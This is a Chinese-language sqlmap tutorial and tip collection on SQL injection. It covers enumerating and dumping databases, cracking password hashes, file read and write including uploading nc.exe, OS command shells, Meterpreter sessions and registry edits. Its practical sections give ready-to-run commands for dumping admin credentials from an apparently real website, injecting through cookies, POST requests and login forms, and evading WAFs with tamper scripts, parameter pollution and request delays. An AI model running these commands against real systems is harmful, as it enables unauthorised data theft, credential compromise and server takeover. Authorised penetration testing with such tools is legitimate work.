默認情況下sqlmap針對UNION查詢的注入會使用NULL字符,但是有些情況下會造成頁面返回失敗,而一個隨機整數是成功的,這是你可以用--union-char只定UNION查詢的字符。
二階SQL注入
參數:--second-order
有些時候注入點輸入的數據看返回結果的時候并不是當前的頁面,而是另外的一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假。--second-order后面跟一個判斷頁面的URL地址。
列數據
標志
參數:-b,--banner
大多數的數據庫系統都有一個函數可以返回數據庫的版本號,通常這個函數是version()或者變量@@version這主要取決與是什么數據庫。
用戶
參數:-current-user
在大多數據庫中可以獲取到管理數據的用戶。
當前數據庫
參數:--current-db
返還當前連接的數據庫。
當前用戶是否為管理用
參數:--is-dba
判斷當前的用戶是否為管理,是的話會返回True。
列數據庫管理用戶
參數:--users
當前用戶有權限讀取包含所有用戶的表的權限時,就可以列出所有管理用戶。
列出并破解數據庫用戶的hash
參數:--passwords
當前用戶有權限讀取包含用戶密碼的彪的權限時,sqlmap會現列舉出用戶,然后列出hash,并嘗試破解。
例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
可以看到sqlmap不僅勒出數據庫的用戶跟密碼,同時也識別出是PostgreSQL數據庫,并詢問用戶是否采用字典爆破的方式進行破解,這個爆破已經支持Oracle和Microsoft SQL Server。也可以提供-U參數來指定爆破哪個用戶的hash。
列出數據庫管理員權限
參數:--privileges
當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的權限,sqlmap將會告訴你哪個是數據庫的超級管理員。也可以用-U參數指定你想看哪個用戶的權限。
列出數據庫管理員角色
參數:--roles
當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的角色,也可以用-U參數指定你想看哪個用戶的角色。僅適用于當前數據庫是Oracle的時候。
列出數據庫系統的數據庫
參數:--dbs
當前用戶有權限讀取包含所有數據庫列表信息的表中的時候,即可列出所有的數據庫。
列舉數據庫表
參數:--tables,--exclude-sysdbs,-D
當前用戶有權限讀取包含所有數據庫表信息的表中的時候,即可列出一個特定數據的所有表。
如果你不提供-D參數來列指定的一個數據的時候,sqlmap會列出數據庫所有庫的所有表。
--exclude-sysdbs參數是指包含了所有的系統數據庫。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數據庫名稱。
列舉數據庫表中的字段
參數:--columns,-C,-T,-D
當前用戶有權限讀取包含所有數據庫表信息的表中的時候,即可列出指定數據庫表中的字段,同時也會列出字段的數據類型。
如果沒有使用-D參數指定數據庫時,默認會使用當前數據庫。
列舉一個SQLite的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
列舉數據庫系統的架構
參數:--schema,--exclude-sysdbs
用戶可以用此參數獲取數據庫的架構,包含所有的數據庫,表和字段,以及各自的類型。加上--exclude-sysdbs參數,將不會獲取數據庫自帶的系統庫內容。
MySQL例子:$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
獲取表中數據個數
參數:--count
有時候用戶只想獲取表中的數據個數而不是具體的內容,那么就可以使用這個參數。列舉一個Microsoft SQL Server例子:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
獲取整個表的數據
參數:--dump,-C,-T,-D,--start,--stop,--first,--last
如果當前管理員有權限讀取數據庫其中的一個表的話,那么就能獲取真個表的所有內容。使用-D,-T參數指定想要獲取哪個庫的哪個表,不適用-D參數時,默認使用當前庫。列舉一個Firebird的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
可以獲取指定庫中的所有表的內容,只用-dump跟-D參數(不使用-T與-C參數)。也可以用-dump跟-C獲取指定的字段內容。sqlmap為每個表生成了一個CSV文件。如果你只想獲取一段數據,可以使用--start和--stop參數,例如,你只想獲取第一段數據可hi使用--stop 1,如果想獲取第二段與第三段數據,使用參數 --start 1 --stop 3。也可以用--first與--last參數,獲取第幾個字符到第幾個字符的內容,如果你想獲取字段中地三個字符到第五個字符的內容,使用--first 3 --last 5,只在盲注的時候使用,因為其他方式可以準確的獲取注入內容,不需要一個字符一個字符的猜解。
獲取所有數據庫表的內容
參數:--dump-all,--exclude-sysdbs
使用--dump-all參數獲取所有數據庫表的內容,可同時加上--exclude-sysdbs只獲取用戶數據庫的表,需要注意在Microsoft SQL Server中master數據庫沒有考慮成為一個系統數據庫,因為有的管理員會把他當初用戶數據庫一樣來使用它。
搜索字段,表,數據庫
參數:--search,-C,-T,-D
--search可以用來尋找特定的數據庫名,所有數據庫中的特定表名,所有數據庫表中的特定字段。
可以在一下三種情況下使用:
參數:--sql-query,--sql-shell
sqlmap會自動檢測確定使用哪種SQL注入技術,如何插入檢索語句。如果是SELECT查詢語句,sqlap將會輸出結果。如果是通過SQL注入執行其他語句,需要測試是否支持多語句執行SQL語句。列舉一個Mircrosoft SQL Server 2000的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
爆破
暴力破解表名
參數:--common-tables
當使用--tables無法獲取到數據庫的表時,可以使用此參數。
通常是如下情況:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
暴力破解列名
參數:--common-columns
與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。
用戶自定義函數注入
參數:--udf-inject,--shared-lib
你可以通過編譯MySQL注入你自定義的函數(UDFs)或PostgreSQL在windows中共享庫,DLL,或者Linux/Unix中共享對象,sqlmap將會問你一些問題,上傳到服務器數據庫自定義函數,然后根據你的選擇執行他們,當你注入完成后,sqlmap將會移除它們。
系統文件操作
從數據庫服務器中讀取文件
參數:--file-read
當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。讀取的文件可以是文本也可以是二進制文件
列舉一個Microsoft SQL Server 2005的例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1
$ ls -l output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
把文件上傳到數據庫服務器中
參數:--file-write,--file-dest
當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。上傳的文件可以是文本也可以是二進制文件。
列舉一個MySQL的例子:
$ file /software/nc.exe.packed
$ ls -l /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
運行任意操作系統命令
參數:--os-cmd,--os-shell
當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。在MySQL、PostgreSQL,sqlmap上傳一個二進制庫,包含用戶自定義的函數,sys_exec()和sys_eval()。那么他創建的這兩個函數可以執行系統命令。在Microsoft SQL Server,sqlmap將會使用xp_cmdshell存儲過程,如果被禁(在Microsoft SQL Server 2005及以上版本默認禁制),sqlmap會重新啟用它,如果不存在,會自動創建。
列舉一個PostgreSQL的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1
用--os-shell參數也可以模擬一個真實的shell,可以輸入你想執行的命令。當不能執行多語句的時候(比如php或者asp的后端數據庫為MySQL時),仍然可能使用INTO OUTFILE寫進可寫目錄,來創建一個web后門。支持的語言:ASP、ASP.NET、JSP、PHP
Meterpreter配合使用
參數:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path
當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數,可以在數據庫與攻擊者直接建立TCP連接,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據Metasploit生成shellcode,并有四種方式執行它:
1、通過用戶自定義的sys_bineval()函數在內存中執行Metasplit的shellcode,支持MySQL和PostgreSQL數據庫,參數:--os-pwn。
2、通過用戶自定義的函數上傳一個獨立的payload執行,MySQL和PostgreSQL的sys_exec()函數,Microsoft SQL Server的xp_cmdshell()函數,參數:--os-pwn。
3、通過SMB攻擊(MS08-068)來執行Metasploit的shellcode,當sqlmap獲取到的權限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內存中執行Metasploit的payload,參數:--os-bof
列舉一個MySQL例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
默認情況下MySQL在Windows上以SYSTEM權限運行,PostgreSQL在Windows與Linux中是低權限運行,Microsoft SQL Server 2000默認是以SYSTEM權限運行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時是LOCAL SERVICE。
對Windows注冊表操作
當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前web應用支持堆查詢。 當然,當前連接數據庫的用戶也需要有權限操作注冊表。
讀取注冊表值:參數:--reg-read
寫入注冊表值:參數:--reg-add
刪除注冊表值:參數:--reg-del
注冊表輔助選項:參數:--reg-key,--reg-value,--reg-data,--reg-type
需要配合之前三個參數使用,例子:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
常規參數
從sqlite中讀取session
參數:-s
sqlmap對每一個目標都會在output路徑下自動生成一個SQLite文件,如果用戶想指定讀取的文件路徑,就可以用這個參數。
保存HTTP(S)日志
參數:-t
這個參數需要跟一個文本文件,sqlmap會把HTTP(S)請求與響應的日志保存到那里。
非交互模式
參數:--batch
用此參數,不需要用戶輸入,將會使用sqlmap提示的默認值一直運行下去。
強制使用字符編碼
參數:--charset
不使用sqlmap自動識別的(如HTTP頭中的Content-Type)字符編碼,強制指定字符編碼如:--charset=GBK
爬行網站URL
參數:--crawl
sqlmap可以收集潛在的可能存在漏洞的連接,后面跟的參數是爬行的深度。
例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
規定輸出到CSV中的分隔符
參數:--csv-del
當dump保存為CSV格式時(--dump-format=CSV),需要一個分隔符默認是逗號,用戶也可以改為別的 如:--csv-del=";"
DBMS身份驗證
參數:--dbms-cred
某些時候當前用戶的權限不夠,做某些操作會失敗,如果知道高權限用戶的密碼,可以使用此參數,有的數據庫有專門的運行機制,可以切換用戶如Microsoft SQL Server的OPENROWSET函數
定義dump數據的格式
參數:--dump-format
輸出的格式可定義為:CSV,HTML,SQLITE
預估完成時間
參數:--eta
可以計算注入數據的剩余時間。
例如Oracle的布爾型盲注:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
sqlmap先輸出長度,預計完成時間,顯示百分比,輸出字符
刷新session文件
參數:--flush-session
如果不想用之前緩存這個目標的session文件,可以使用這個參數。 會清空之前的session,重新測試該目標。
自動獲取form表單測試
參數:--forms
如果你想對一個頁面的form表單中的參數測試,可以使用-r參數讀取請求文件,或者通過--data參數測試。 但是當使用--forms參數時,sqlmap會自動從-u中的url獲取頁面中的表單進行測試。
忽略在會話文件中存儲的查詢結果
參數:--fresh-queries
忽略session文件保存的查詢,重新查詢。
使用DBMS的hex函數
參數:--hex
有時候字符編碼的問題,可能導致數據丟失,可以使用hex函數來避免:
針對PostgreSQL例子:$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
自定義輸出的路徑
參數:--output-dir
sqlmap默認把session文件跟結果文件保存在output文件夾下,用此參數可自定義輸出路徑 例如:--output-dir=/tmp
從響應中獲取DBMS的錯誤信息
參數:--parse-errors
有時目標沒有關閉DBMS的報錯,當數據庫語句錯誤時,會輸出錯誤語句,用詞參數可以會顯出錯誤信息。
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
其他的一些參數
使用參數縮寫。參數:-z
有使用參數太長太復雜,可以使用縮寫模式。 例如:python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
可以寫成:python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
還有:python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
可以寫成:python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
成功SQL注入時警告 。參數:--alert
設定會發的答案。參數:--answers
當希望sqlmap提出輸入時,自動輸入自己想要的答案可以使用此參數: 例子:
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batc
發現SQL注入時發出蜂鳴聲。參數:--beep ? 。發現sql注入時,發出蜂鳴聲。
啟發式檢測WAF/IPS/IDS保護。參數:--check-waf
WAF/IPS/IDS保護可能會對sqlmap造成很大的困擾,如果懷疑目標有此防護的話,可以使用此參數來測試。 sqlmap將會使用一個不存在的參數來注入測試
例如:&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1
如果有保護的話可能返回結果會不同。
清理sqlmap的UDF(s)和表。參數:--cleanup 。清除sqlmap注入時產生的udf與表。
禁用彩色輸出。參數:--disable-coloring。 sqlmap默認彩色輸出,可以使用此參數,禁掉彩色輸出。
使用指定的Google結果頁面。參數:--gpage 。默認sqlmap使用前100個URL地址作為注入測試,結合此選項,可以指定頁面的URL測試。
使用HTTP參數污染。參數:-hpp 。HTTP參數污染可能會繞過WAF/IPS/IDS保護機制,這個對ASP/IIS與ASP.NET/IIS平臺很有效。
測試WAF/IPS/IDS保護 。參數:--identify-waf 。sqlmap可以嘗試找出WAF/IPS/IDS保護,方便用戶做出繞過方式。目前大約支持30種產品的識別。
例如對一個受到ModSecurity WAF保護的MySQL例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
模仿智能手機
參數:--mobile
有時服務端只接收移動端的訪問,此時可以設定一個手機的User-Agent來模仿手機登陸。
例如:$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
安全的刪除output目錄的文件
參數:--purge-output
有時需要刪除結果文件,而不被恢復,可以使用此參數,原有文件將會被隨機的一些文件覆蓋。
例如:$ python sqlmap.py --purge-output -v 3
啟發式判斷注入
參數:--smart
有時對目標非常多的URL進行測試,為節省時間,只對能夠快速判斷為注入的報錯點進行注入,可以使用此參數。
例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
初級用戶向導參數
參數:--wizard 面向初級用戶的參數,可以一步一步教你如何輸入針對目標注入。$ python sqlmap.py --wizard
sqlmap 實戰
sqlmap是一個灰常強大的sql注入檢測與輔助工具,但是由于沒有圖形界面,基本上用起來比較麻煩,導致很多人可能寧愿用havij或者是pangolin也不愿意麻煩去翻幫助界面,我自己也是把很多語句貼到了一個記事本里面用,其實真正用起來也就5,6句,也不會太復雜,下文以php+mysql為例:
檢查注入點 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" 列數據庫信息 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dbs 指定庫名列出所有表 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 --tables 指定庫名表名列出所有字段 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 -T admin --columns指定庫名表名字段dump出指定字段 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D vhost48330 -T admin -C ac,id,password --dump // -C 后面的參數可以加雙引號,也可以不加有幾個參數可能會用到,直接加在最后面就可以了,更多詳細參數見官方文檔: --cookie=COOKIE 在需要登錄的地方,需要登錄后的cookie --proxy="http://127.0.0.1:8087" 使用HTTP代理隱藏自己的身份,比如使用goagent等 --sql-query=QUERY 執行一個sql語句,不一定支持Sqlmap注入技巧收集
收集了一些利用Sqlmap做注入測試的TIPS,其中也包含一點繞WAF的技巧,便于大家集中查閱。
當我們注射的時候,判斷注入 http://site/script?id=10 http://site/script?id=11-1 # 相當于 id=10 http://site/script?id=(select 10) # 相當于 id=10 http://site/script?id=10 and 1=1 # 失敗通過判斷可發現and和or被過濾 http://site/script?id=10– # 失敗 http://site/script?id=10;– # 失敗 http://site/script?id=10);– # 失敗 http://site/script?id=10)subquery;– # 失敗你可以用burp的intruder的字典跑,但是仍然失敗。 這里可以用到SQL語句的case when …then … else … end語句 CASE WHEN語句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型數據庫都受到支持,是標準的SQL語句。 可以這樣子理解:CASE… WHEN… THEN …ELSE …ENDCASE WHEN 語法有兩種情況: 第一種是CASE 后面不帶表達式的; CASE WHEN expression THEN 操作1 WHEN expression THEN 操作2 ....... ELSE 操作n END 第二種是CASE 后面帶表達式的(而此時WHEN 后面的則是該表達式可能的值),通用。 CASE expression WHEN expression值1 THEN 操作1 WHEN expression值2 THEN 操作2 ....... ELSE 操作n END http://host/script?id=11-(case when 1=1 then 1 else 0 end) 用1=1跟1=2測試 http://host/script?id=10 # 當條件為真的時候 http://host/script?id=11 # 當條件為假的時候 可以很明顯的看到返回不同,然后可以判斷注入。那么怎么能讓sqlmap去識別呢? Sqlmap默認是自己尋找注入點的,但是你加上一個*,可以引導他。語句 sqlmap.py -u "http://host/script?id=11-(case when 1=1星號 then 1)"注入最頭痛的就是遇到過濾,sqlmap提供了字符轉換的功能 --tamper=between當然自己可以改寫轉換內容,文件在/tamper目錄下。關于post注入 sqlmap可以用-r參數 加載數據包 sqlmap.py -r post.txt 繼續補充一點: having xor等邏輯符號也可以判斷注入。POST注入有兩種方法來進行post注入: 一種是使用--data參數,將post的key和value用“類似GET方式”來提交。 二是使用-r參數,sqlmap讀取用戶抓到的POST請求包,來進行POST注入檢測。查看payload 之前一直是加本地代理,然后用burpsuit來看sqlmap的payload,到現在才發現用-v參數就可以實現。 一直認為-v實現的只是控制警告,debug信息級別。 實際上使用-v 3就可以顯示注入的payload,4,5,6還可以顯示HTTP請求,HTTP響應頭和頁面。使用google搜索 sqlmap可以測試google搜索結果中的sql注入,很強大的功能吧。使用方法是參數-g。不過感覺實際使用中這個用的還是很少的。請求延時 在注入過程中請求太頻繁的話可能會被防火墻攔截,這時候--delay參數就起作用了??梢栽O定兩次HTTP請求間的延時。 有的web程序會在多次錯誤訪問后屏蔽所有請求,這樣就導致之后所有的測試無法進行, 繞過這個策略可以使用--safe-url,每隔一段時間去訪問一個正常的頁面。偽靜態頁面 有些web服務器進行了url rewrite或者網站是偽靜態的,無法直接提供測試參數,這樣子可以使用*來代替要測試的參數。執行系統命令 當數據庫支持,并且當前用戶有權限的時候,可以執行系統命令,使用--os-cmd或者--os-shell, 具體的講,當可以執行多語句的時候,會嘗試用UDF(MySQL,PostgrepSQL)或者xp_cmdshell(MSSQL)來執行系統命令。 不能執行多語句時,仍然會嘗試創建一個webshell來執行語句,這時候就需要web的絕對路徑了。 總體來說,成功率偏低,不過個人也有成功的經驗~測試等級 sqlmap使用--level參數來進行不同全面性的測試, 默認為1,不同的參數影響了使用哪些payload,2時會進行cookie注入檢測,3時會進行useragent檢測。http://blackvan.blog.51cto.com/4427217/860508
SQLMAP實戰操作:
1. sqlmap注入拖庫常用命令
sqlmap.py -u "注入地址" -v 1 --dbs // 列舉數據庫 sqlmap.py -u "注入地址" -v 1 --current-db // 當前數據庫 sqlmap.py -u "注入地址" -v 1 --users // 列數據庫用戶 sqlmap.py -u "注入地址" -v 1 --current-user // 當前用戶 sqlmap.py -u "注入地址" -v 1 --tables -D "數據庫" // 列舉數據庫的表名 sqlmap.py -u "注入地址" -v 1 --columns -T "表名" -D "數據庫" // 獲取表的列名 sqlmap.py -u "注入地址" -v 1 --dump -C "字段,字段" -T "表名" -D "數據庫" //獲取表中的數據,包含列 已經開始拖庫了,SQLMAP是非常人性化的,它會將獲取的數據存儲sqlmap/output/中、、、
2. ACCESS注入:
sqlmap.py -u "url" /* -u為常規掃描參數 */ sqlmap.py -u "url" --tables /* --tables猜數據庫表 */ sqlmap.py -u "url" --columns -T "表名" /* 列出指定表名。爆字段 */ sqlmap.py -u "url" --dump(脫褲) -T "表名" -C "字段名" /* –dump為拆解字段名會保存在sqlmap/output目錄下。暴內容 */
3 .MYSQL注入:
sqlmap.py -u "url" /* 掃描注入點 */ sqlmap.py -u "url" --dbs /* 列出所有數據庫 */ sqlmap.py -u "url" --current-db /* 列出當前數據庫 */ sqlmap.py -u "url" --current-user /* 列出當前用戶 */ sqlmap.py -u "url" --tables -D "數據庫名" /* 拆解數據庫表 */ sqlmap.py -u "url" --columns -T "表名" -D "數據庫名" /* 拆解指定表字段名。即爆字段 */ sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "數據庫" /* 即爆內容 */
4 .SQLSERVER數據庫:
sqlmap.py -u "url" /*掃描注入點*/ sqlmap.py -u "url" --dbs /*列出所有數據庫*/ sqlmap.py -u "url" --current-db /*列出當前數據庫*/ sqlmap.py -u "url" --current-user /*列出當前用戶*/ sqlmap.py -u "url" --tables -D "當前數據庫名" /*拆解當前數據庫表*/ sqlmap.py -u "url" --columns -T "要拆得的表名" -D "當前數據庫名" /*拆解指定表字段名*/ sqlmap.py -u "url" --dump -C "字段名" -T "表名" -D "當前數據庫" SQLSERVER操作和MYSQL是一樣的!!!常見的幾種數據庫!!!5. COOKIE注入:
sqlmap.py -u "www.xxx.com/asp 或者 www.xxx.com/php" --cookie "參數名如id=1" --level 2 /*level為提升權限*/ sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1" --dbs --level 2 什么數據庫就按照上面的數據庫加上cookie語句拆解就行了cookie注入 url --cookie "id=" --table --level 2 //暴表 url --cookie "id=" --columns -T 表名 --level 2 //獲得字段 url --cookie "id=" --dump -T 表名 -C "字段名" --level 2 //獲得內容 方法一: 假設有個網站,url地址為:http://www.127.0.0.1/base32?id=45 假如想測試這個頁面是否有cookie注入 采用的注入方式如下:sqlmap.py -u "http://www.127.0.0.1/base32" --data="id=10" --dbs --level 2 解釋:/*level 2是探測等級的意思,這里采用注入選擇探測等級為2,當探測等級為2或2以上sqlmap是會嘗試注入cookie參數的*/方法二: sqlmap.py -u "存在注入url" --cookie="抓包抓到的cookie" 或者是這樣使用:sqlmap.py -u "存在注入url" --cookir="抓包抓到的cookie" --level 2 //前面講過了探測等級為2就注入cookie參數的
6 .POST注入:
抓包保存到SQLMAP目錄下.txt的文件然后輸入指令sqlmap.py -r xxx.txt /* xxx.txt為保存包文件的文件名 */sqlmap.py -u "url" --data "POST參數" 或者 sqlmap.py -u "url" --data="POST參數" sqlmap post注入 我們在使用Sqlmap進行post型注入時,經常會出現請求遺漏導致注入失敗的情況。這里分享一個小技巧,即結合burpsuite來使用sqlmap, 用這種方法進行post注入測試會更準確,操作起來也非常容易。 1. 瀏覽器打開目標地址http:// www.2cto.com /Login.asp 2. 配置burp代理(127.0.0.1:8080)以攔截請求 3. 點擊login表單的submit按鈕 4. 如下圖,這時候Burp會攔截到了我們的登錄POST請求 5. 把這個post請求復制為txt, 我這命名為search-test.txt 然后把它放至sqlmap目錄下 6. 運行sqlmap并使用如下命令: ./sqlmap.py -r search-test.txt -p tfUPass 這里參數-r 是讓sqlmap加載我們的post請求rsearch-test.txt, 而-p 大家應該比較熟悉,指定注入用的參數。Post注入方法一: sqlmap.py -r test.txt -p “抓包到的post數據里面的其中一個post參數” --dbs 也可以sqlmap.py -d "提交的數據" -p 解釋意思 /*sqlamp進行post注入并且假如存在注入就返回數據庫的信息, test.txt文檔就是對網頁抓到的包全選數據包內容然后保存為test.txt文件, 直接-r test.txt是把文檔放在與sqlmap同一目錄下的才行。-p是指定參數注入,更精準*/ 假如不是放在與sqlmap同一目錄下的話,那么就是sqlmap.py -r D:\test.txt -p “抓包到的post數據里面的其中一個post參數” --dbs方法二: sqlmap.py -u “存在注入的url,一般多用于后臺” --data=”抓到的post包的最后一行的內容” -p “指定post包里面的某一個參數”方法三: 假設有個網站,url地址為:http://www.127.0.0.1/base64?id=10 假如想測試這個頁面是否有post注入 用這個方式:sqlmap.py -u “http://www.127.0.0.1/base64” --data=”id=10” -f --banner --dbs方法四: 自動注入方法 sqlmap.py -u “http://xxxxxx.com(cn/net/org)/login.asp(php,aspx,jsp等程序格式)” --forms 一般用于后臺注入。POST登陸框注入 注入點:http://xxx.xxx.com/Login.asp注入方式一:1.對著注入點使用burp抓包,保存txt格式文件。2.輸入命令:sqlmap.py -r search-test.txt -p tfUPass注入方式二:自動搜索表單的方式 sqlmap -u http://www.xxx.com/Login.asp --forms 注入方式三:指定一個參數的方法 sqlmap -u http://www.xxx.com/Login.asp --data "tfUName=1&tfUPass=1" 搜索框注入搜索框注入感覺和post注入簡直一模一樣,只不過形式是注入搜索框而不是username或password。方法一: sqlmap.py -u “http://xxxxxx.com/search.php(asp,aspx,jsp)” --data=”抓包到的搜索框的信息” -p “指定搜索框里面的一個參數值”搜索框注入手工判斷: ' and 1=1 and '%'=' 返回所以結果 ' and 1=2 and '%'=' 無返回結果 ' and exists (select * from sysobjects) and '%'=' 返回正常 //最后一個針對于mssql數據庫系統對象表,針對于sql server(Mssql)數據庫 一次sqlmap注入某注入點并且dump出賬號密碼全程 判斷注入點:sqlmap.py -u “存在注入url” 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --batch 爆出所有數據庫名字:sqlmap.py -u “存在注入url” --dbs 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dbs--dump將結果導出。 例如 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" -D user -T admin -C ac,id,password --dump
7 .執行shell命令:
sqlmap.py -u "url" --os-cmd="net user" /*執行net user命令*/ sqlmap.py -u "url" --os-shell /*系統交互的shell*/
8.注入HTTP請求 :
sqlmap.py -r xxx.txt --dbs /*xxx.txt內容為HTTP請求*/
9.繞過WAF的tamper插件使用:
sqlmap 的 tamper目錄下有用于繞過waf的腳本(KALI目錄位置:/usr/share/sqlmap/tamper/ )。
如果找不到所在位置,可以使用 find 查找:find / -type d -name "sqlmap" -print
sqlmap.py -u "url" --tamper "xxx.py" sqlmap.py -u "url" --tamper="xxx.py" 關于tamper腳本詳細說明在本博客中有,鏈接為:http://www.matsec.cn/?id=5如何使用SQLMap繞過WAF:http://www.freebuf.com/articles/1000.html
繞過WAF、安全狗知識整理:http://blog.csdn.net/hxsstar/article/details/24771085
tamper 一些腳本說明 ( http://blog.csdn.net/hxsstar/article/details/22782627?):
| 支持的數據庫 | 編號 | 腳本名稱 | 作用 | 實現方式 |
| all | 1 | apostrophemask.py | 用utf8代替引號 | ("1?AND?'1'='1")? |
| 2 | base64encode.py? | 用base64編碼替換 | ("1'?AND?SLEEP(5)#") | |
| 3 | multiplespaces.py | 圍繞SQL關鍵字添加多個空格 | ('1?UNION?SELECT?foobar') | |
| 4 | space2plus.py | 用+替換空格 | ('SELECT?id?FROM?users') | |
| 5 | nonrecursivereplacement.py | 雙重查詢語句。取代predefined?SQL關鍵字with表示? | ('1?UNION?SELECT?2--') | |
| 6 | space2randomblank.py | 代替空格字符(“”)從一個隨機的空 | ('SELECT?id?FROM?users') | |
| 7 | unionalltounion.py | 替換UNION?ALL?SELECT?UNION?SELECT | ('-1?UNION?ALL?SELECT') | |
| 8 | securesphere.py | 追加特制的字符串 | ('1?AND?1=1') | |
| mssql | 1 | space2hash.py | 繞過過濾‘=’?替換空格字符(”),(’?–?‘)后跟一個破折號注釋一個隨機字符串和一個新行(’?n’) | '1?AND?9227=9227'? |
| 2 | equaltolike.py | like?代替等號 | *?Input:?SELECT?*?FROM?users?WHERE?id=1? | |
| 3 | space2mssqlblank.py(mssql) | 空格替換為其它空符號 | Input:?SELECT?id?FROM?users | |
| 4 | space2mssqlhash.py | 替換空格 | ('1?AND?9227=9227') | |
| 5 | between.py | 用between替換大于號(>) | ('1?AND?A?>?B--') | |
| 6 | percentage.py | asp允許每個字符前面添加一個%號 | *?Input:?SELECT?FIELD?FROM?TABLE | |
| 7 | sp_password.py | 追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾 | ('1?AND?9227=9227--?') | |
| 8 | charencode.py | url編碼 | *?Input:?SELECT?FIELD?FROM%20TABLE | |
| 9 | randomcase.py | 隨機大小寫 | *?Input:?INSERT | |
| 10 | charunicodeencode.py | 字符串?unicode?編碼 | *?Input:?SELECT?FIELD%20FROM?TABLE | |
| 11 | space2comment.py | Replaces?space?character?(‘?‘)?with?comments?‘/**/’ | *?Input:?SELECT?id?FROM?users | |
| mysql?>=?5.1.13 | 1 | equaltolike.py | like?代替等號 |
|
| 2 | greatest.py | 繞過過濾’>’?,用GREATEST替換大于號。 | ('1?AND?A?>?B') | |
| 3 | apostrophenullencode.py | 繞過過濾雙引號,替換字符和雙引號。 | tamper("1?AND?'1'='1") | |
| 4 | ifnull2ifisnull.py | 繞過對?IFNULL?過濾。 | ('IFNULL(1,?2)') | |
| 5 | space2mssqlhash.py | 替換空格 | ('1?AND?9227=9227') | |
| 6 | modsecurityversioned.py | 過濾空格,包含完整的查詢版本注釋 | ('1?AND?2>1--') | |
